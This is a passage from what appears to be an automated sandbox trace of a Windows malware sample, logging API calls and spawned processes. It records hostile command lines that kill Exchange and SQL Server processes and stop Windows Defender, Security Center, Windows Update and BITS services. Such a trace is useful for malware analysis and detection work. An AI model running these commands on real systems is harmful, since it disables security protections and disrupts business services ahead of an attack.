lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.896] GetProcessHeap () returned 0x6b0000 [0038.896] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xe0) returned 0x6c3400 [0039.482] _get_osfhandle (_FileHandle=2) returned 0xb [0039.482] GetFileType (hFile=0xb) returned 0x2 [0039.516] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0039.516] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x34f680 | out: lpMode=0x34f680) returned 1 [0039.519] _get_osfhandle (_FileHandle=2) returned 0xb [0039.519] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x34f6b4 | out: lpConsoleScreenBufferInfo=0x34f6b4) returned 1 [0039.520] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a874640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0039.520] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a874640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x34f6d8, lpReserved=0x0 | out: lpBuffer=0x4a874640*, lpNumberOfCharsWritten=0x34f6d8*=0x62) returned 1 [0039.522] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.522] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.523] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.523] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0039.526] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.526] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0039.526] SetConsoleInputExeNameW () returned 0x1 [0039.526] GetConsoleOutputCP () returned 0x1b5 [0039.527] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0039.527] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.527] exit (_Code=1) Process: id = "15" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x31abe000" os_pid = "0x804" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "taskkill /f /im MSExchange*" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 20 os_tid = 0x814 Thread: id = 112 os_tid = 0xe94 Thread: id = 130 os_tid = 0xef4 Thread: id = 131 os_tid = 0xef8 Thread: id = 132 os_tid = 0xefc Process: id = "16" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x338e5000" os_pid = "0x824" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "taskkill /f /im Microsoft.Exchange.*" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 21 os_tid = 0x834 Thread: id = 109 os_tid = 0xe88 Thread: id = 185 os_tid = 0xf14 Thread: id = 191 os_tid = 0xf2c Thread: id = 192 os_tid = 0xf30 Process: id = "17" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x321ea000" os_pid = "0x844" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "taskkill /f /im sqlserver.exe" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 22 os_tid = 0x854 Thread: id = 115 os_tid = 0xea0 Thread: id = 196 os_tid = 0xf40 Thread: id = 200 os_tid = 0xf50 Thread: id = 201 os_tid = 0xf54 Process: id = "18" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x325ef000" os_pid = "0x864" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "taskkill /f /im sqlwriter.exe" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 23 os_tid = 0x874 Thread: id = 116 os_tid = 0xea4 Thread: id = 133 os_tid = 0xf00 Thread: id = 183 os_tid = 0xf0c Thread: id = 184 os_tid = 0xf10 Process: id = "19" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x33238000" os_pid = "0xa0c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "sc stop wscsvc" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0xa24 [0037.818] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22faa4 | out: lpSystemTimeAsFileTime=0x22faa4*(dwLowDateTime=0xa772af40, dwHighDateTime=0x1d5e09d)) [0037.818] GetCurrentProcessId () returned 0xa0c [0037.818] GetCurrentThreadId () returned 0xa24 [0037.818] GetTickCount () returned 0x1154931 [0037.818] QueryPerformanceCounter (in: lpPerformanceCount=0x22fa9c | out: lpPerformanceCount=0x22fa9c*=17968947087) returned 1 [0037.819] GetModuleHandleA (lpModuleName=0x0) returned 0x30000 [0037.819] __set_app_type (_Type=0x1) [0037.819] __p__fmode () returned 0x76be31f4 [0037.819] __p__commode () returned 0x76be31fc [0037.819] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x379c7) returned 0x0 [0037.819] __wgetmainargs (in: _Argc=0x39020, _Argv=0x39028, _Env=0x39024, _DoWildCard=0, _StartInfo=0x39034 | out: _Argc=0x39020, _Argv=0x39028, _Env=0x39024) returned 0 [0037.819] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.822] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0037.822] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0037.822] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0037.822] _wcsicmp (_String1="stop", _String2="query") returned 2 [0037.822] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0037.822] _wcsicmp (_String1="stop", _String2="start") returned 14 [0037.822] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0037.822] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0037.822] _wcsicmp (_String1="stop", _String2="control") returned 16 [0037.822] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0037.822] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0037.822] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3df680 [0037.825] OpenServiceW (hSCManager=0x3df680, lpServiceName="wscsvc", dwDesiredAccess=0x20) returned 0x3df5e0 [0037.826] ControlService (in: hService=0x3df5e0, dwControl=0x1, lpServiceStatus=0x22f9a0 | out: lpServiceStatus=0x22f9a0*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x85, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0039.287] GetLastError () returned 0x425 [0039.287] _itow (in: _Dest=0x425, _Radix=2292028 | out: _Dest=0x425) returned="1061" [0039.287] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x425, dwLanguageId=0x0, lpBuffer=0x39380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The service cannot accept control messages at this time.\r\n") returned 0x3a [0039.289] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x22f924, nSize=0x2, Arguments=0x22f930 | out: lpBuffer="㱈>\x01") returned 0x60 [0039.290] GetFileType (hFile=0x7) returned 0x2 [0039.290] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x22f8f8 | out: lpMode=0x22f8f8) returned 1 [0039.291] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x3e3c48*, nNumberOfCharsToWrite=0x60, lpNumberOfCharsWritten=0x22f914, lpReserved=0x0 | out: lpBuffer=0x3e3c48*, lpNumberOfCharsWritten=0x22f914*=0x60) returned 1 [0039.291] LocalFree (hMem=0x3e3c48) returned 0x0 [0039.291] LocalFree (hMem=0x0) returned 0x0 [0039.291] CloseServiceHandle (hSCObject=0x3df5e0) returned 1 [0039.292] CloseServiceHandle (hSCObject=0x3df680) returned 1 [0039.773] exit (_Code=1061) Thread: id = 50 os_tid = 0xc90 Process: id = "20" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x3313d000" os_pid = "0xa40" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "sc stop WinDefend" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0xa5c [0037.794] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x11f7cc | out: lpSystemTimeAsFileTime=0x11f7cc*(dwLowDateTime=0xa76dec80, dwHighDateTime=0x1d5e09d)) [0037.794] GetCurrentProcessId () returned 0xa40 [0037.794] GetCurrentThreadId () returned 0xa5c [0037.794] GetTickCount () returned 0x1154912 [0037.794] QueryPerformanceCounter (in: lpPerformanceCount=0x11f7c4 | out: lpPerformanceCount=0x11f7c4*=17966498084) returned 1 [0037.794] GetModuleHandleA (lpModuleName=0x0) returned 0x30000 [0037.794] __set_app_type (_Type=0x1) [0037.794] __p__fmode () returned 0x76be31f4 [0037.794] __p__commode () returned 0x76be31fc [0037.794] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x379c7) returned 0x0 [0037.794] __wgetmainargs (in: _Argc=0x39020, _Argv=0x39028, _Env=0x39024, _DoWildCard=0, _StartInfo=0x39034 | out: _Argc=0x39020, _Argv=0x39028, _Env=0x39024) returned 0 [0037.795] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.798] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0037.798] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0037.798] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0037.798] _wcsicmp (_String1="stop", _String2="query") returned 2 [0037.798] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0037.798] _wcsicmp (_String1="stop", _String2="start") returned 14 [0037.798] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0037.798] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0037.798] _wcsicmp (_String1="stop", _String2="control") returned 16 [0037.798] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0037.798] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0037.798] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x44f690 [0037.802] OpenServiceW (hSCManager=0x44f690, lpServiceName="WinDefend", dwDesiredAccess=0x20) returned 0x44f5f0 [0037.803] ControlService (in: hService=0x44f5f0, dwControl=0x1, lpServiceStatus=0x11f6c8 | out: lpServiceStatus=0x11f6c8*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x85, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0039.906] GetLastError () returned 0x425 [0039.906] _itow (in: _Dest=0x425, _Radix=1177188 | out: _Dest=0x425) returned="1061" [0039.906] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x425, dwLanguageId=0x0, lpBuffer=0x39380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The service cannot accept control messages at this time.\r\n") returned 0x3a [0039.908] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x11f64c, nSize=0x2, Arguments=0x11f658 | out: lpBuffer="㲀E\x01") returned 0x60 [0039.909] GetFileType (hFile=0x7) returned 0x2 [0039.918] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x11f620 | out: lpMode=0x11f620) returned 1 [0039.923] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x453c80*, nNumberOfCharsToWrite=0x60, lpNumberOfCharsWritten=0x11f63c, lpReserved=0x0 | out: lpBuffer=0x453c80*, lpNumberOfCharsWritten=0x11f63c*=0x60) returned 1 [0039.930] LocalFree (hMem=0x453c80) returned 0x0 [0039.931] LocalFree (hMem=0x0) returned 0x0 [0039.931] CloseServiceHandle (hSCObject=0x44f5f0) returned 1 [0039.941] CloseServiceHandle (hSCObject=0x44f690) returned 1 [0040.427] exit (_Code=1061) Thread: id = 54 os_tid = 0xcb0 Process: id = "21" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x31b42000" os_pid = "0xa70" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "sc stop wuauserv" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 27 os_tid = 0xa80 [0038.297] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x9ff2c | out: lpSystemTimeAsFileTime=0x9ff2c*(dwLowDateTime=0xa7ba1880, dwHighDateTime=0x1d5e09d)) [0038.297] GetCurrentProcessId () returned 0xa70 [0038.297] GetCurrentThreadId () returned 0xa80 [0038.297] GetTickCount () returned 0x1154b05 [0038.298] QueryPerformanceCounter (in: lpPerformanceCount=0x9ff24 | out: lpPerformanceCount=0x9ff24*=18016866776) returned 1 [0038.298] GetModuleHandleA (lpModuleName=0x0) returned 0x30000 [0038.298] __set_app_type (_Type=0x1) [0038.298] __p__fmode () returned 0x76be31f4 [0038.298] __p__commode () returned 0x76be31fc [0038.298] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x379c7) returned 0x0 [0038.298] __wgetmainargs (in: _Argc=0x39020, _Argv=0x39028, _Env=0x39024, _DoWildCard=0, _StartInfo=0x39034 | out: _Argc=0x39020, _Argv=0x39028, _Env=0x39024) returned 0 [0038.299] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.302] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0038.302] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0038.302] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0038.302] _wcsicmp (_String1="stop", _String2="query") returned 2 [0038.302] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0038.302] _wcsicmp (_String1="stop", _String2="start") returned 14 [0038.302] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0038.302] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0038.302] _wcsicmp (_String1="stop", _String2="control") returned 16 [0038.302] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0038.302] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0038.302] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x5af690 [0038.305] OpenServiceW (hSCManager=0x5af690, lpServiceName="wuauserv", dwDesiredAccess=0x20) returned 0x5af5f0 [0038.305] ControlService (in: hService=0x5af5f0, dwControl=0x1, lpServiceStatus=0x9fe28 | out: lpServiceStatus=0x9fe28*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x1c5, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0041.268] GetLastError () returned 0x425 [0041.269] _itow (in: _Dest=0x425, _Radix=654788 | out: _Dest=0x425) returned="1061" [0041.269] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x425, dwLanguageId=0x0, lpBuffer=0x39380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The service cannot accept control messages at this time.\r\n") returned 0x3a [0041.270] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x9fdac, nSize=0x2, Arguments=0x9fdb8 | out: lpBuffer="㲀[\x01") returned 0x60 [0041.271] GetFileType (hFile=0x7) returned 0x2 [0041.271] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x9fd80 | out: lpMode=0x9fd80) returned 1 [0041.271] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x5b3c80*, nNumberOfCharsToWrite=0x60, lpNumberOfCharsWritten=0x9fd9c, lpReserved=0x0 | out: lpBuffer=0x5b3c80*, lpNumberOfCharsWritten=0x9fd9c*=0x60) returned 1 [0041.272] LocalFree (hMem=0x5b3c80) returned 0x0 [0041.272] LocalFree (hMem=0x0) returned 0x0 [0041.272] CloseServiceHandle (hSCObject=0x5af5f0) returned 1 [0041.272] CloseServiceHandle (hSCObject=0x5af690) returned 1 [0041.487] exit (_Code=1061) Thread: id = 61 os_tid = 0xcd0 Process: id = "22" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x32c49000" os_pid = "0xaf0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "sc stop BITS" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 28 os_tid = 0xb00 [0038.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2efc04 | out: lpSystemTimeAsFileTime=0x2efc04*(dwLowDateTime=0xa8253660, dwHighDateTime=0x1d5e09d)) [0038.985] GetCurrentProcessId () returned 0xaf0 [0038.985] GetCurrentThreadId () returned 0xb00 [0038.985] GetTickCount () returned 0x1154dc3 [0038.985] QueryPerformanceCounter (in: lpPerformanceCount=0x2efbfc | out: lpPerformanceCount=0x2efbfc*=18119603250) returned 1 [0039.325] GetModuleHandleA (lpModuleName=0x0) returned 0x30000 [0039.325] __set_app_type (_Type=0x1) [0039.325] __p__fmode () returned 0x76be31f4 [0039.325] __p__commode () returned 0x76be31fc [0039.325] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x379c7) returned 0x0 [0039.326] __wgetmainargs (in: _Argc=0x39020, _Argv=0x39028, _Env=0x39024, _DoWildCard=0, _StartInfo=0x39034 | out: _Argc=0x39020, _Argv=0x39028, _Env=0x39024) returned 0 [0039.326] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.329] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0039.329] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0039.329] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0039.329] _wcsicmp (_String1="stop", _String2="query") returned 2 [0039.329] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0039.329] _wcsicmp (_String1="stop", _String2="start") returned 14 [0039.329] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0039.329] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0039.329] _wcsicmp (_String1="stop", _String2="control") returned 16 [0039.329] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0039.329] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0039.329] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x71f680 [0039.332] OpenServiceW (hSCManager=0x71f680, lpServiceName="BITS", dwDesiredAccess=0x20) returned 0x71f5e0 [0039.333] ControlService (in: hService=0x71f5e0, dwControl=0x1, lpServiceStatus=0x2efb00 | out: lpServiceStatus=0x2efb00*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0039.333] GetLastError () returned 0x426 [0039.333] _itow (in: _Dest=0x426, _Radix=3078812 | out: _Dest=0x426) returned="1062" [0039.333] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x426, dwLanguageId=0x0, lpBuffer=0x39380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The service has not been started.\r\n") returned 0x23 [0039.335] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x2efa84, nSize=0x2, Arguments=0x2efa90 | out: lpBuffer="㱈r\x01") returned 0x49 [0039.336] GetFileType (hFile=0x7) returned 0x2 [0039.336] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2efa58 | out: lpMode=0x2efa58) returned 1 [0039.336] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x723c48*, nNumberOfCharsToWrite=0x49, lpNumberOfCharsWritten=0x2efa74, lpReserved=0x0 | out: lpBuffer=0x723c48*, lpNumberOfCharsWritten=0x2efa74*=0x49) returned 1 [0039.336] LocalFree (hMem=0x723c48) returned 0x0 [0039.336] LocalFree (hMem=0x0) returned 0x0 [0039.336] CloseServiceHandle (hSCObject=0x71f5e0) returned 1 [0039.337] CloseServiceHandle (hSCObject=0x71f680) returned 1 [0039.782] exit (_Code=1062) Thread: id = 51 os_tid = 0xc94 Process: id = "23" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x31e84000" os_pid = "0xb10" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "sc stop ERSvc" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 29 os_tid = 0xb20 [0039.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25fb64 | out: lpSystemTimeAsFileTime=0x25fb64*(dwLowDateTime=0xa82c5a80, dwHighDateTime=0x1d5e09d)) [0039.033] GetCurrentProcessId () returned 0xb10 [0039.033] GetCurrentThreadId () returned 0xb20 [0039.033] GetTickCount () returned 0x1154df2 [0039.033] QueryPerformanceCounter (in: lpPerformanceCount=0x25fb5c | out: lpPerformanceCount=0x25fb5c*=18090393164) returned 1 [0039.033] GetModuleHandleA (lpModuleName=0x0) returned 0x30000 [0039.033] __set_app_type (_Type=0x1) [0039.033] __p__fmode () returned 0x76be31f4 [0039.033] __p__commode () returned 0x76be31fc [0039.033] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x379c7) returned 0x0 [0039.033] __wgetmainargs (in: _Argc=0x39020, _Argv=0x39028, _Env=0x39024, _DoWildCard=0, _StartInfo=0x39034 | out: _Argc=0x39020, _Argv=0x39028, _Env=0x39024) returned 0 [0039.034] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.037] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0039.037] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0039.037] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0039.037] _wcsicmp (_String1="stop", _String2="query") returned 2 [0039.037] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0039.037] _wcsicmp (_String1="stop", _String2="start") returned 14 [0039.037] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0039.037] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0039.037] _wcsicmp (_String1="stop", _String2="control") returned 16 [0039.037] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0039.037] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0039.037] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x5af680 [0039.040] OpenServiceW (hSCManager=0x5af680, lpServiceName="ERSvc", dwDesiredAccess=0x20) returned 0x0 [0039.040] GetLastError () returned 0x424 [0039.040] _itow (in: _Dest=0x424, _Radix=2488828 | out: _Dest=0x424) returned="1060" [0039.041] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0x39380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0039.042] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, 